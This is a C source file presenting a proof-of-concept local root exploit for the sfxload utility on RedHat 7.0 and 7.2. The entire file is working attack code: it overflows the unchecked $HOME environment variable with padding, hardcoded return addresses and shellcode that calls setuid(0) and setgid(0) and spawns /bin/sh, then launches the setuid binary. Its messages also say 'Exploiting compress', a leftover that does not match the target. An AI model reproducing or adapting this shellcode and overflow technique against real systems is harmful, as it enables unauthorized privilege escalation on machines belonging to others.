/*
---------------------------------------------------------------------------
Web:  http://qb0x.net                   Author: Gabriel A. Maggiotti
Date: December 29, 2002            E-mail: gmaggiot@ciudad.com.ar
---------------------------------------------------------------------------

This  is  a proof  of concept exploit for sfxload.   sfxload  user $HOME 
environment variable without checking it size.
This exploit takes advantage from this bug and put a shellcode inside $HOME.   

*/

#include <stdio.h>

#define OFFSET 284
#define NOP 0x90
#define RET_70 0xbffff840  
#define RET_72 0xbffff900


int get_sp(void) {
  __asm__("movl %esp, %eax");
}

int
main(int argc, char *argv[])
{
int i=0; char buf[OFFSET];
int c, ret;

unsigned char shellcode1[] =
"\x33\xDB\x33\xC0\xB0\x1B\xCD\x80" // alarm(0);
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80" // setuid(0);
"\x31\xc0\x50\x50\xb0\xb5\xcd\x80" // setgid(0);
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";


  if(argc != 2) {
    fprintf(stderr,"usage: %s <os_type> \n",argv[0]);
    fprintf(stderr,"types:\n RedHat 7.0 - [1]");
    fprintf(stderr,"\n RedHat 7.2 - [2]\n\n");
    return 1;
  }
  
  c=atoi(argv[1]);

  switch(c) {
    case 1:
      printf("Exploiting compress for RedHat 7.0\n");
      ret = RET_70 - OFFSET  ;
      break;  
    case 2:
      printf("Exploiting compress for RedHat 7.2\n");
      ret = RET_72 - OFFSET;
      break;  
  }

  for(i=0;i<=OFFSET-1 ;i++)
    buf[i]='A';
  *(int *) &buf[i] = ret;
  memcpy(buf+100,shellcode1,strlen(shellcode1));

  setenv("HOME",buf,1);
  execl("/bin/sfxload", "/bin/sfxload", NULL, NULL);

return 0;
}

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